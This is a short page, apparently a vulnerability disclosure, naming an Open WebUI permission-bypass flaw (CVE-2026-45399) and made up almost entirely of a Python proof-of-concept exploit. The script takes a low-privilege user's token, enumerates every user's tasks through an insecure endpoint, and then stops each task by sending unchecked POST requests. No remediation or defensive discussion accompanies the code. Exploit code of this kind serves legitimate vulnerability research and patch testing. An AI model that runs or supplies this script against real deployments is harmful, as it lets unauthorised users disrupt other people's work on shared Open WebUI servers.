Open WebUI 权限绕过漏洞 (CVE-2026-45399)

import requests # Configuration target_url = "http://localhost:3000" # Replace with actual target auth_token = "LOW_PRIVILEGE_USER_TOKEN" # Attacker's session token headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Step 1: Enumerate active tasks (IDOR vulnerability) # This endpoint returns tasks for ALL users, not just the current one enum_url = f"{target_url}/api/tasks" response = requests.get(enum_url, headers=headers) if response.status_code == 200: tasks = response.json() print(f"[+] Successfully enumerated {len(tasks)} tasks.") # Step 2: Stop tasks belonging to other users for task in tasks: task_id = task.get('id') # URL to stop a specific task stop_url = f"{target_url}/api/tasks/stop/{task_id}" # Exploit: Send POST request to stop the task # The server does not check if the current user owns this task_id exploit_resp = requests.post(stop_url, headers=headers) if exploit_resp.status_code == 200: print(f"[+] Successfully stopped task ID: {task_id}") else: print(f"[-] Failed to stop task ID: {task_id}") else: print("[-] Failed to enumerate tasks.")